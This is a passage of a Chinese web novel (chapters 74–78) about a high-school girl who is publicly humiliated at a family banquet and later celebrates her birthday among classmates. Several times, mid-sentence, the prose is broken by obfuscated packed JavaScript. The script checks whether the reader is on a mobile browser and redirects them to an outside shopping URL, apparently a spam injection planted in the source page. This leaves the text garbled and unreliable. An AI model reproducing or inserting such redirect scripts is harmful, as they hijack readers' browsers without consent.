也不想自己和刘远那边的这点屁事毁了蒋平家的满月酒,还在楚门这个屁大点的小城市的交际圈里传得天下皆知。 ……可拉了半天却拉不动,四五个人全部挤在中间,推推搡搡,吵闹无比,像一团理也理不清的烂丝线。 “好了!” 刘远一声大吼。 他听着周围人一句句讨论着自己儿子去酒吧的事,脸色沉了又沉。 终于,他呼出一口气,黑着一张脸走到黄怀予面前。 他直直地看她,脸上似是疲惫无比,用周围所有人都能听见的声音,一字一字说: ——“你给万阿姨道个歉。” ——“这样,你拉刘子扬去酒吧,怂恿他喝酒的事,我们就不提了。” ——“这件事就过去了。” !! 黄怀予一震。 她不可置信地抬头,紧紧地盯着刘远的脸,仍然不敢相信,他说了什么话。 ……他明明知道的。 他明明知道是怎么回事。 他比谁都清楚他儿子做了什么。 可是,他听不得别人在他面前诋毁他儿子。 他看不得自己儿子的错事被闹得尽人皆知。 他明知怎么回事,也要选择在众人面前维护自己儿子。 ——然后,把这个烂摊子和一身脏水,甩给另外的人。 黄怀予就是那个另外的人。 …… 万颖听见刘远终于表了态,立刻就抓到了话头: “对!” “你给我道歉!也给我儿子道歉!” “喂!” “你们两个要不要脸啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445077|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是你们宝贝儿子自己来我酒吧的好不好!” 李鸣月愤怒大吼,把那天的经过全部都说了出来。 她努力地解释,愤怒地说明。 ——可是,好像没有人相信她。 众人把这几个人团团围在宴会厅门口大堂的中间。 两个女人在大吵,一个歇斯底里,一个一头红发——“看上去像两个疯女人”。 一个年轻女孩站在一边,低着头,一言不发——“无人在意的未成年小女孩”。 而那个面容冷静、话语沉稳的中年男人,可是里面唯一一个男人。 他那么冷静,耐心调停,他当然一瞬间就能掌握所有话语权。 他说得一定是对的。 …… 刘远轻飘飘的两句话,已经足够让周围大部分人给这件事定性了。 黄怀予抖着手,有些无措地向右转头,看向人群里的外婆外公。 ——两人面容焦急,互相搀扶着,就要一步步朝自己走来。 刚刚所有在酒席间称赞自己成绩好的人,似乎也一下子离得很远。 刚刚那个家里住在鸡鸣区、拉着外婆询问补习班经验的姑姑,也站在人群里,变了脸色,眼中混杂着丝丝厌恶和怀疑。 蒋平带着酒店经理匆匆赶来。 几个工作人员纷纷上前,分开了两群人,弯着腰疯狂劝和:“有话好好说!有话好好说!” “要我好好说?行啊!” “刚刚都说了,让她给我道歉!” “不然她诱惑带坏我儿子这件事,还有没有个说法了?” 蒋平一脸愠色站在万颖面前,一句话没说,但是所有人都知道他已经气得不行了。 “万颖!” 刘远早就已经看到了蒋平铁青的脸色,用了力气去拉她。 “……”她被拉得一退,被刘远威胁的脸压得闭了嘴,气得咬牙切齿。 万颖看见黄怀予只是低着头不知道在想什么,认定她要装鸵鸟就是不肯认错,心里愤怒滔天。 又自知自己已经毁了人家家里的一场满月酒。 各种复杂、害怕、愤怒、扭曲的情绪夹杂在一起,急需一个痛快的出口。 她喘着气扫了一眼被妈妈护在身后的李鸣月,又看看面前一个人形单影只站着的黄怀予。 ——她想也没想就立刻走上前,抢过旁边经过的服务员托盘里的橙汁。 用力朝黄怀予脸上泼了过去。 * 冰凉的,黄色的,粘稠的,气味酸涩的。 一大团扒在黄怀予脸上、眼睛上、鼻子上,又一滴滴往下流,一直流进她穿着毛衣的脖颈里。 她站在人群中间,在周围人惊讶的吸气声中摇摇欲坠。 眼前蒙了一片,她什么也看不清。 ……巨大的难堪像洪水一样涌了上来,她喘着气,接近窒息。 橙汁一滴滴从她睫毛下滚落,她隔着雾蒙蒙的空气,去看刘远。 却见到,刘远微张着嘴看她,眼神里只有震惊。 以及一点点的害怕。 ——震惊于事情的发展,害怕于事情越闹越大不好收场。 还有别的吗? 没有了。 再也没有别的其他的任何的情绪了。 黄怀予感觉到,她的心,一点点淹死在这滔天的洪水里了。 …… “我草你全家——” 李鸣月一下子暴起,挣开她妈妈的手,抄起旁边桌上的一大瓶红酒,直接冲着万颖痛快地淋了过去,大骂: “你敢动我外甥女???” 75. 第 75 章 人群再次一片混乱。 黄怀予有些颤抖的身形被外婆扶住了。 她缓缓回过神来,看见外婆大呼小叫地给自己擦脸。 她感受到卫生纸柔软的触感,和外婆一贯温热干燥的手掌。 可是擦着擦着,她却看到,外婆突然皱起了脸,呜呜地哭起来。 外公拄着拐杖,头上的帽子遮住了他稀疏的花白的头发,他上前颤颤巍巍地吼: “你凭什么泼她!” …… 人群挤在一起,三三两两互相拉扯。 李鸣月一瓶红酒过去,万颖被泼得上半身都湿透,旁边的蒋平和刘远都被波及。 地上湿滑一片,深红色的液体被人们混乱踩过,一片泥泞。 黄怀予隔着模模糊糊的视线,再次看向前面的人群中心的刘远。 他捂着额头,极其烦躁的样子。 ——他觉得麻烦。 他不关心黄怀予如何。 甚至也不是很关心,此时已经处于风暴中心的万颖。 一个是他前妻的女儿,改了前妻的姓,赔钱货一个,还要每个月给离婚赡养费,和自己早就没什么关系了。 一个是第二任妻子,虽然给自己生了一个儿子,但是依然是外姓人,农村出身,像个泼妇,以前称得上美艳的容貌现在也变得扭曲了。 这两个和他的人生有紧密关联的女人,在他眼里,都是可有可无的麻烦。 黄怀予静静地站着。 她突然就觉得,好像自己在人生的这前十七年里,都没有真正看清过这个男人。 而现在,虽然两个之间隔着无数混乱纠缠的人影,遥遥一望,她却一下子看清了他。 黄怀予拂掉了家家的手。 挺直背。 一步步拨开周围的人,走到刘远面前。 然后,迎着他的目光,扬起了右手。 “啪——”的一声。 清脆的巴掌声响起,刘远的脸被扇得一偏。 “明年,整个楚门市初中升高中的比例是5.5比4.5。” 她走近一步,在刘远惊愕的目光里,平静开口。 “我祝你儿子,连高中都考不上。” “我祝你给你儿子买的那套房子,明天就发现是凶宅,卖都卖不出去。” “我祝你儿子,延续你的基因,和你一样失败。” * 黄怀予在一路怪异的沉默里回了家。 李鸣月在楚味楼门口给自己说了一大堆鸡汤,都要走了还不甘心,还一路都给黄怀予打着语音电话,讲着不重复的开导话术,听得黄怀予都困了。 “别说了,我好着呢。” “到家了,不说了。” 对面那人聒噪的声音终于停了,“……行,外甥女,千万别想不开哈。咱们好好休息,明天周一到了学校还是一个猛女悍妇。” 黄怀予疲惫点点头。 又想到对面的人看不到,于是无奈开口:“拜拜。” 她心虚地跟在外婆外公身后,像个小心翼翼的狗。 去酒吧的事情已经完全败露,还牵扯到了万颖和刘子扬。 毁了蒋平舅舅家小孩的满月酒,还在众人面前和万颖刘远大吵一架。 ——最后,扇了自己亲爹一巴掌。 吓呆众人,名声远扬。 楚门悍妇,一中猛女。 黄怀予装作自己是一只狗,闭着嘴,心里已经做好了狂风暴雨难逃此劫的心理准备。 却没想到,进了门,家家爹爹什么反应都没有,只是让黄怀予把身上这件沾满橙汁污渍的毛衣脱了下来。 “今天去楚味楼,吃到了珍珠丸子没?” 爹爹问得随意。 黄怀予一愣。 然后诚实点点头。 “吃到了。特别好吃。” 爹爹点点头,摘下了帽子,一边颤颤巍巍去倒水,一边说: “那就好。” 家家问: “过几天是你的生日。” “想吃什么?” 黄怀予一下子复活了。 “粉蒸排骨!汽水肉!炸春卷!煎饺!干煸牛肉丝!” 家家笑了。 笑得像是很轻松,像是什么都没有发生过。 “好。” “你想吃,你吃得开心,你开心,就好。” * 楚门一中。 课间休息,所有人都躺在座子上睡觉,教室里一片死寂。 苏琬放下手里的笔,下一秒就看到,杨捷轻手轻脚地走过来,鬼鬼祟祟地凑到自己耳边说话: “杯子12月10号生日。” “送什么?” 苏琬指指自己的手机,“我已经买好啦!” “你帮我想想吧!” 杨捷双手合十祈求,“最好还帮林潇潇李唯艺白度程朗想想!” 苏琬:“……” 苏琬:“据我对她的了解……” “只要不送杯子,送其他任何东西,都行。” 两个人对视,然后都笑了。 ……因为她们俩都去过黄怀予家里。 基于“杯子”这个广为流传的外号,黄怀予从小到大每年过生日都能收到七八个杯子。 各种颜色各种形状各种用途,全部应有尽有,到现在为止起码已经被迫攒了五十多个,家里甚至有一整个大柜子全部用来放杯子。 ——对于这件事,黄怀予每提起一次,就会义愤填膺地喊: “苏琬全责!” 毕竟,“杯子”这个外号,就是苏琬最先开始取的。 “你们自己想吧,送什么她都喜欢的。” “除了杯子。” 说了等于没说,杨捷哼了一声,不满地回去了。 …… 手机震了两下。 有人给自己发消息。 苏琬低下头,从抽屉里拿出来。看清屏幕上的人的时候,她呆了一下。 谷奕? 他给自己发消息干嘛? 苏琬抬头,往第一组的方向遥遥看过去。 ——谷奕此时正一脸阴沉地坐在第一组前排中间的位置,周围一群男生把他团团围住,都睡得像死猪一样沉。 他正隔着好几米的距离,直直地盯着自己,眼睛里的怨气比祥林嫂还重。 苏琬没忍住笑出了声。 手机又震了两下。 【Google】:你们刚刚在说什么? 苏琬打字回复: “12.10是杯子生日。” “我们在说送什么生日礼物。” 【Google】:? 【Google】:真的假的! 【Google】:杯姐也十二月过生日? 【Google】:…… 【Google】:这么大事我怎么才知道! 【Google】:啊! 【Google】:我这就去买礼物! 说完就再也不回复了。 苏琬又抬头看过去,果然看见那人正低着头,眉头轻轻锁着,修长的手指正拿着手机划来划去,一副挑来挑去选择困难症的样子。 …… 谷奕确实陷入了选择困难症。 他有点纠结。 他确实有事要找杯姐。 自从谷奕转学来了楚门一中之后,网购就变成了一件难事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457885|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他、苏琬和白度都住校,学校绝对不可能有地方给学生接收快递。 上次给苏琬送生日礼物,买那支月光钢笔的时候,谷奕问了一圈人,终于找到了网购达人林潇潇。 “收快递?” “学校对面文具店呀!” “有代收服务,你直接填他家地址就行,不过要收费哦。” 谷奕这辈子最不在意的就是“收费”这种词。他直接把对面文具店的地址设成了默认收件地址。 ——可是等到月光钢笔终于到了,他去对面文具店取快递的时候,却发现了一件很严重的事。 这家店的代收快递服务,也太草率了! 不像专业快递驿站有取件码,也没有任何身份核实,每个人去了以后就可以直接拿走任何一个快递盒。 谷奕眼睁睁看着前面一个人拿走了一个快递盒,结果没过两分钟就又返回说自己拿错了。而老板全程都丝毫不在意,看也没看就把那个拿错的快递扔进了快递堆里。 ——这?! 谷奕看得胆战心惊,再也没敢用他家的代收快递服务。 于是苏琬生日之后的很长一段时间里,谷奕都忍住了,没有网购任何东西。 只是最近,有一件事,让他必须在网上买一个东西。 ——就是,楚恒在十二月底过生日。 他每年楚恒生日都会送楚恒一件FREE的定制衣服。 今年正好出了新的限定款,谷奕已经看中了很久,心里痒痒,已经想好自己一件、楚恒一件,大手一挥就加进了购物车,等着开售那天直接开抢。 眼看着马上就要到开售的日子了,可是还没找到收货地址。 谷奕想了一圈,想到了黄怀予。 她家就住在对面陪读街,直接填她的地址电话,让杯姐帮自己把快递带过来。 ——多么完美的计划! 与其给文具店老板送钱,不如把这钱给杯姐。 …… 只是现在,谷奕话还没开口,就已经从苏琬那里得知,马上下周杯姐也要过生日了。 他做了决定,要送杯姐一个让她感动到哭的惊世骇俗大礼物,先拉拢人心! 然后再把杯姐家的地址要过来,让代收快递服务成为一个他和杯姐的长期交易。 最后,就能实现网购自由,并且解决他立刻就要抢限定款潮牌衣服的燃眉之急! * 早自习终于下了。 黄怀予困得不行。 楚门越来越冷,她裹着肥厚的冬季校服,趴在桌上睡觉。 ——可是下一秒却被一只不知死活的手戳醒。 黄怀予睁开眼睛,对上谷奕扭扭捏捏的脸。 “杯姐,给你买了个生日礼物,你把你家地址告诉我。” “……行。” 黄怀予脸色缓和了很多,“破费了啊。我先睡会,等我睡醒发给你。” 说完就立刻又一头栽了下去。 “哎哎!” 那只手又来晃她,“我还没说完呢……” 黄怀予又抬起头,“你最好是有重要的事。” “非常重要!” 谷奕朝她敬了个礼,挤眉弄眼抛了个媚眼,狭长的眼睛缩成了一条缝。 “你能帮我长期代拿快递吗?” 黄怀予愣了一下。 “戴拿?哪里有戴拿?” “……”谷奕拍她一下,“代拿快递!不是戴拿奥特曼!” 此时没睡醒,脑子还是混沌的,但是下一秒,她抽屉里的手机就震了两下。 【大傻】:给您转账8888元。 ? ?? 黄怀予一个激灵,彻底醒了。 76. 第 76 章 “高三一年的代拿费。” 黄怀予目瞪口呆。 “一年8888?!” 谷奕嘿嘿一笑。 “数字吉利。一口价,不讲价。” 黄怀予算是看出来了,“6”和“8”都属于谷奕这种有钱人的幸运数字,装点生活的小窍门,用了就能给生活增添一点希望的开心。 她郑重放下手机。 “好的谷公子,您的专属快递员为您服务中。” “如果有任何代收代拿代跑腿代上厕所服务,都请来找我。” “……代上厕所就不必了。这个我还是亲自去比较好。” 谷奕晃晃手机,“把你家地址和电话发我吧杯姐。” 黄怀予打开手机正准备发,结果下一秒,教室门口就冲进来一个同学。 “黄怀予!黄怀予!” “地理老师问你怎么还不把昨天的卷子送上去!” “!哦!” 黄怀予一拍脑袋,从抽屉里拿出一沓昨天刚收上来的全班试卷,连手机也没拿,急急忙忙就跑出了门。 ——紧接着两个课间,黄怀予都被地理老师留在了办公室里整理卷子,不见踪影。 …… 就这样一直磨到了大课间,所有人都下楼去做广播体操。 谷奕终于又忍不住了,限量款抢购今天晚上就开始了! 他又在教室门口一把拉住要去六楼的黄怀予,蹭了过去要地址。 “哦哦哦!” “但是你得先等会。” “马辉让我等会上去帮他改作业。” “等我回来就给你发啊!” 说完,忙里忙外的301班第一名又跑没影了。 谷奕盼星星盼月亮,就这样一直盼到了晚自习。 这一个下午,黄怀予要么被老师叫去整理卷子,要么被老师叫去改作业,要么就是被马辉叫去行政楼送资料,忙得脚不沾地。 ——谷奕愣是都没见到她的面。 …… 终于,谷奕瞅准机会,终于在晚自习之前的晚饭时间,一把在楼梯口逮住了她。 黄怀予一手拿着卷子,一手拿着书,似乎又要忙里忙慌往六楼跑。 “等会!” “杯姐!” 谷奕生怕她又跑了,见缝插针一把抓住她。 “地址!” “哦哦哦!忘了!” 就在这时,楼上又响起一道声音,一个女生站在六楼朝着楼下喊: ——“黄怀予!马老师催你呢!” “……” 黄怀予一手拿卷子,一手拿书,暴躁地大喊一声:“哎呀!” 她手忙脚乱地把手里的一本书扔进谷奕怀里,终于腾出了一只手,去兜里摸出了手机。 然后满脸崩溃地单手点开微信通讯录,翻到D附近,随便点开了一个深蓝色头像,就把刚刚复制好的地址和电话发了过去。 立即关了手机,从谷奕手里抢过那本书,“咚咚咚”就往上爬楼梯。 …… 谷奕满脸黑线地坐在教室里。 手机上依然平静一片,一条新消息都没有。 ……他真的很想把黄怀予抓过来问问,明明是在他眼皮子底下发的消息,他怎么还没收到? 她到底发哪去了? 谷奕决定就在这等着,一直等到黄怀予回来,好好跟她掰扯一下。 没想到,左等没等到,右等没等到,晚自习都已经开始了。 等着等着,谷奕居然等来了一条楚恒的消息。 就几个字。 ——“她的生日是不是快到了。” ……? 是那人的风格。简短,没有废话,以及永远让人摸不着头脑。 谷奕下意识就发: “谁?” 那边秒回:“黄怀予。” 谷奕惊讶:“你怎么知道?” 他叽里呱啦说了一大堆,说苏琬告诉自己说黄怀予生日是12.10,又说黄怀予答应给自己地址又找不到人,又说自己找了她一天,如果再找不到,就买不了给楚恒的礼物了! 讲着讲着又表达欲上头,还说了之前他和黄怀予给苏琬过惊喜生日派对的事,办的那是相当成功,苏琬感动得一把鼻涕一把泪的。 * 黄怀予从文综办公室里出来的时候,天都黑了。 十点过五分,晚自习都已经下了。 以为教室里已经没人了,结果一进教室,就被一双怨毒的眼睛吓了一大跳。 ——整间教室里只有一个人,谷奕正坐在她的座位上,幽怨地盯着自己。 “预售结束了。” 他咬牙切齿地从在牙缝里挤出几个字。 “都怪你!” 黄怀予吓得一抖。 她:“我不是在晚自习之前就发给你了吗!” 谷奕:“放屁!” 黄怀予也来气了,只觉得跟他简直说不明白。 她被马辉当牛马当了一整天,都没时间做题,好不容易结束了还要被谷奕冤枉! 她怒气冲冲掏出手机,点开微信。 “你自己看!你自己看!” “我是不是——” 吼声戛然而止。 黄怀予僵住了。 整个人一动不动,眼睛像黏在了手机屏幕上一样。 谷奕看她沉默了整整五秒钟,就知道她终于发现自己发错人了,忍不住大吼: “你看!” “就说你没发吧!” “你到底发哪去了?” ……吼完,却见站在面前的女孩还是一动不动,低着头,像是被冻住了一样。 “哼。”谷奕见好就收,走上前撞撞她的肩膀,“行了,不跟你计较,现在给我重新发一遍就行。” “我后天还要抢一个新系列,别耽误我那天的就行。” 说完发现,黄怀予整个人还是一动不动,根本一个字没听进去。 ——“黄怀予!” ——“到!” 黄怀予一个激灵,像是终于苏醒了过来,呼吸有些重,慌里慌张口不择言: “知道了知道了。……” 她手指点了几下屏幕,细看之下还微微有些颤抖。 “发了。” 谷奕看了看手机屏幕上蹦出来的新消息,终于心满意足地关上手机。 “这还差不多。” 他背上书包,双手揣兜,转身潇洒地走了。 “拜拜杯姐。记得关教室灯。” …… 偌大的教室里,只剩黄怀予一个人。 她看着屏幕上那两个乍一眼看上去几乎都一模一样的深蓝色夜空头像,竟然浑身冰凉。 ……她居然,把自己的地址发给了楚恒! 联系人列表里,C和D连在了一起,本来想发给【大傻】的消息,竟然已经阴差阳错地躺在了【楚老师】的聊天框里。 然而,比这更恐怖的是: ——【楚老师】回复了。 就在今晚七点钟。 只有两个字。 “好的。” * 第二天清晨。 黄怀予顶着一圈青紫的眼眶,像个死人一般,飘进了教室。 谷奕看了一眼,差点没笑得背过气。 “杯姐,你昨天晚上通宵修战壕去了?” “肿成这样?” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!” 黄怀予满脸阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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比如现在,她看着手里的“学习之星”评选活动报名表,还是无法相信,马辉会让她去把这些资料送到行政楼。 ——特别是,临走前还对她说了一句: “这次学习之星,只有每个班上次月考的第一名可以报名。” “之后,会邀请每个班的第一名去参加活动。” “所以,我们班这次是苏琬。” “你去跟她说,让她填完报名表直接给你,你送去行政楼。” ——说到这里,他还故意停一下,加重语气道: “明白吗?” …… “每个班的第一名哦!” “明白吗?” “我让谁去送都可以,但是我让你去送。” “明白吗?” 黄怀予点点头。 “明白。” 她刚转过身,身后又传来马辉的声音:“等会!” 她又回头看他。 “……”马辉紧紧盯着她脸上的表情,盯了足足有五秒钟,似乎怎么也看不出一丝破绽,才终于有些破防地叹口气,烦躁地挥挥手。 “走吧走吧!” 黄怀予刚转过身,就翻了一个天大的白眼。 送资料就送资料,还解释这么多? ——谁问你了? 77. 第 77 章 黄怀予抱着资料走进教室,想去找苏琬要报名表。 却发现,苏琬座位上空空荡荡。 她走过去,本来想坐着等苏琬回来。 低头却看见,苏琬桌上正齐齐整整摆着一张A4纸。 ——正是“学习之星”报名表。 已经填完了,字迹娟秀清爽,没有涂改,安安静静地放在了桌子上,似乎就等着黄怀予过来收走。 表格标题是被笔袋盖住的,像是一种掩藏,不想让来来往往的人都看到是什么东西。 但是笔袋又放得歪歪扭扭,似乎又不是故意挡住的,只是随手一放。 “……” 她轻轻地把它抽出来。 半晌,嘴角勾了一下。 又没忍住,自言自语道: “傻子。” “还真以为我会不高兴?” “也太小看我了。” 她是喜欢争第一。 她是考不到第一就浑身难受。 ……但是那也得看那个跟她竞争的人是谁。 如果是别人,那就必须得赢。 如果是苏琬…… 苏琬不是别人。 …… 黄怀予围上了一条大红色围巾,在楚门的冷风中打了一个巨大的哈欠,手上拿着一沓A4纸,摇摇晃晃走上了行政楼的楼梯。 楼梯空旷,只有她一个人。 突然,由上至下传来“咚咚咚”的脚步声,一个身影飞快地蹿了下来,把一个哈欠正打了一半的黄怀予给撞了个正着。 “哎!” 手上的资料洒了一地,黄怀予立刻眼疾手快拉住了旁边的扶手,堪堪稳住身形才没摔下去,还顺带拉了那个人一把。 ——直到两个人都站稳,黄怀予才看清眼前这人是谁。 短发,波波头,头上扎着一个粉色的蝴蝶结。 虽然都一样穿着肥厚宽大的毫无设计感的冬季校服,但是下半身穿了紧身黑色长袜和小皮鞋,看上去是把冬季校服当成了裙子穿,露出纤细的腿。 个子不高,但是娇小可爱,脸很小,随时随地都挺胸抬头,像一只骄傲的天鹅。 …… 黄怀予永远也不会忘记这张脸。 ——就像永远都不会忘记卫语的脸一样。 ——因为,这就是卫语的女朋友。 冯尽欢瞪大眼睛,突然一把冲到黄怀予身上,娇小的身材一下子抱住了黄怀予的脖子。 “黄怀予!” “你怎么在这!” 黄怀予浑身一僵。 随后又习惯似的,像初中那三年一样,抱住她的腰,把她放了下来。 冯尽欢脚落地,又把放在黄怀予脖子上的手转到了黄怀予腰上,笑嘻嘻地说: “你怎么瘦了这么多?” “抱起来都不舒服了。” “不像你以前初中的时候,壮壮的,背很宽厚,很有安心感。” “刚刚不小心撞到你身上,都以为你要被我撞下去了。” 黄怀予有一瞬间的恍惚,好像一下子就回到了初中那三年。 所以,她根本没有来得及思考,脸上就已经出现了一个称得上憨厚的表情,像是已经形成了条件反射: “不会啊。” “如果是和以前一样胖的话,你刚刚撞上来的时候,我应该就已经把你弹飞了。” “因为脂肪多,就会很有弹性。” …… “哈哈哈哈哈哈!” “好好笑!” 她蹦了下来,黄怀予熟悉的语气和熟悉的笑话类型让她笑得很开心。 “哦!” 她似乎才发现,刚刚那一撞,把黄怀予手里拿着的资料洒了一地。 “不好意思!” 说着她就蹲下身来,和黄怀予一起捡着散落一地的资料。 “嗯?” 她收拾的动作慢慢停了下来,目光落到了最上方的那一张纸上。 “学习之星?你也来送报名表啊?我也是来送这个的!” 黄怀予知道,冯尽欢是十五班班长。 这种事情,正常来说也就是让班长来送。 ——所以,再次证明,马辉真的有病。 “嗯?苏琬?” 她一个字一个字地念了出来,又紧接着去翻地上散落的其他资料。 黄怀予顺着她的眼神方向看过去,眼神一凝,突然看到,地上那一堆资料里,还有一张。 她瞄一眼就知道那是什么东西,因为实在太熟悉了。 ——是上次月考文科全年级排名。 这张全年级排名成绩表就夹在马辉给她的那一沓资料里,黄怀予看也没看就送过来了。 白纸黑字,密密麻麻写着一长串人名。 ——但是,上半部分的几个人的名字,被人用红色记号笔十分显眼地画了出来。 第一个,是苏琬。 第二个,一直往下看,是黄怀予。 第三个,是杨捷。 !! 黄怀予一顿,瞬间明白了这是什么东西。 应该是马辉交上去的301班班级成绩排名,在整个年级里标出自己班上的所有同学。 被大红色记号笔特意标注出来的名字极其显眼,一眼望过去,白色中两行红,亮眼得刺目。 “……” 冯尽欢的手慢慢伸了过去,又眼疾手快地迅速拿了起来。 “哎?” “这是,你们班上次月考的全年级排名?” 她紧紧盯着手上的两张白纸。 左手,是写着苏琬名字的报名表。 右手,是标红的全年级排名。 “原来,上次月考,你不是你们班第一名?” “你是……”她看看右手的年级排名,有些惊讶地喊了一声,“35名?!” “天哪,这不像你呀。” “你是上次状态不好吗?” “你以前初中成绩那么好呢,全班第二呢。” “还经常……和当时那位全班第一竞争呢。” “怎么……” 面对冯尽欢一连串遗憾惊讶的语气词,黄怀予实在是没办法挤出什么表情。 她平淡地从冯尽欢手里接过那两张纸,又和自己手里刚刚捡起来的一摞纸对齐,站了起来。 然后,实话实说道: “因为恋爱去了。” 冯尽欢明显一愣。 黄怀予看得出来,她愣得很彻底,像是完全不相信黄怀予刚刚说的话。 “……恋爱?” 她下一秒就有些兴奋,八卦地靠过来,“谁啊?” “……”黄怀予实在不想说太多,于是简短地说道,“还没开始。” “是暗恋。” 这两句话一出来,黄怀予明显看到冯尽欢脸上刚刚还八卦兴奋的表情一下子僵住了。 “暗恋。?” 她表情骤然变得十分复杂,仔细看上去还有一些似笑非笑。 “是我认识的人吗?” ? 黄怀予奇怪地看她一眼。 然后才骤然意识到,她不会以为那人是卫语吧! “!” 黄怀予赶紧解释:“不是不是,不是我们学校的。” 却见,冯尽欢脸上那种似笑非笑的表情好像更深了,像是完全不相信这种解释,而且是觉得黄怀予露馅了所以才临时以“不是我们学校的”为托词。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黄怀予点点头,心里把马辉骂了一千八百遍。 看吧,这种事情,要么是班长做,要么是那个第一名本人来做。 谁会让一个不是班长的第二名来送! 如果不让她来送,她现在也不会在这里碰见这两个人了! 她心里大骂,脸上还是很平静,极其有眼力见地说: “那你们先聊,我先上去送资料了。” 却不想,这话一出,冯尽欢脸上一下子出现一抹红晕。 “什么呀……我们有什么好聊的?” “我们也不熟。” 她有些羞涩地把头扭到一边。 …… 黄怀予在心里叹了口气,心说何必呢,转身就想离开。 ——就在转身的那一瞬间,她面向了楼梯间墙壁的金边镜子。 镜子被擦得很干净,照得一清二楚,像是可以把所有隐晦的、不为人知但是默认的暗流涌动的情感,全部都照出来。 ——于是,黄怀予就在镜子里清清楚楚地看见: 卫语眼看黄怀予转过了身,下一秒就立刻走到冯尽欢面前,脸上依然风轻云淡。 可是,身下,左手却用力抓住了冯尽欢的手。 然后,手指轻轻地摩挲了一下她的手背。 两只年轻的手,就这样紧紧握在一起,又在下一秒迅速分开。 颤抖的,激动的,偷偷的,掩人耳目的。 卫语面色平静地松开手,往上走去。 “借过。” 他淡淡的声音从黄怀予身侧传来,她侧身让开,看着他抱着资料一步步走上楼梯,然后,消失在拐角处。 78. 第 78 章 楼梯间重归寂静。 “……” 黄怀予看着镜子里的自己,以及站在一旁低着头,仍然脸红红的冯尽欢。 ……莫名其妙就成为了别人play的一环,实在不知道该说些什么了。 她想直接走掉,但是想了想,还是决定转过身,看着冯尽欢,十分认真严肃地说: “你别误会了。” “那个人真的不是我们学校的。” “……而且,我觉得我们之间也不用打哑谜了。” “那个人……真的不是卫语。” 十分郑重的语气,十分直接的话。 像是要真的对冯尽欢澄清什么,也像是要和自己说明白什么。 “就算就算,哪怕那个人真的是卫语,你不用担心什么,也不用试探什么。” “总之,你放心好了。” 言尽于此,她冲冯尽欢点点头,转身离开了。 * 12月10号。 几乎整个301班都知道,今天是黄怀予的生日。 ——因为今天从上午开始,某人的座位上几乎就已经堆满了东西。 程朗和白度在课间的时候一起送了一本包装好的书,居然还打了一个歪歪扭扭的蝴蝶结。 “我亲自包的。牛逼吧?” 程朗一派吹嘘。 杨捷中午的时候带了一个蛋糕,是在学校对面的蛋糕坊买的。虽然下午第一节课之前大家都已经吃过午饭了,但是甜品是第二个胃,蛋糕很快就被大家一起分着吃完了。 苏琬送了一个新书包——黄怀予的书包已经背了好几年了都没换过。 “黄怀予!五班有人找你!” “黄怀予!有人找你!十八班的!” “杯姐!刚刚六班有人给你带了东西,我放你桌上了。” 一天慢慢过去。 黄怀予的抽屉里已经塞满了各种各样的礼物。 有玩偶,有贺卡,有零食,有书,甚至不知道哪个缺德的还送了一本《英语五三》。 …… 谷奕一整天都没有动静。 他看着黄怀予今天一天都在不停忙着收礼物,特地全程在旁边观察。 就这样观察了一天,他脸上的表情越来越得意。 ——哼。没有一个人送的礼物比他好! 他脸上带着胜利的笑意,终于决定在晚自习开始之前的晚饭时间,拎着自己早就放在书包里、宝贝已久的包装袋,慢条斯理走到黄怀予桌前。 然后,十分装帅地把袋子往黄怀予桌上一扔。 撩撩头发,双手插进裤兜,歪着头,扬着下巴。 “看看。” …… 装杯。 黄怀予笑着睨他一眼,顶着周围人的目光,一点点把包装拆开。 拆到最后,一眼就能出来盒子里的内容时,黄怀予的笑容却突然僵在脸上。 只见包装精美的纸盒里,足足有四层的防震泡沫纸。泡沫纸中间,包着一个圆柱形的物品。 ——是一个,黄颜色的杯子。 “怎么样?” “你就叫杯子,你还姓黄!你又喜欢黄色!” “多么合适!” “今天这么多礼物,没有一个人送你杯子!” “这群傻蛋!” “本公子实在是独树一帜!” “不用太感谢啊!” 周围的空气彻底安静了。 黄怀予抖着手把那个杯子拿出来。 她真的很想说,谷奕刚刚那个“你叫杯子!你又姓黄!”的表情,跟皇上意外发现甄嬛的小像,最后推理出果郡王钟情于浣碧多年的“你又叫浣碧!”的惊喜表情,简直一模一样。 谷奕得意了半天,却发现周围没有一个人说话,空气安静得有些诡异。 “……干嘛啊你们?”谷奕左右看看,“给点反应啊。” “你有没有想过……” 旁边的苏琬叹了一口气,轻轻地说: “如果答案这么明显,为什么大家都不选?” 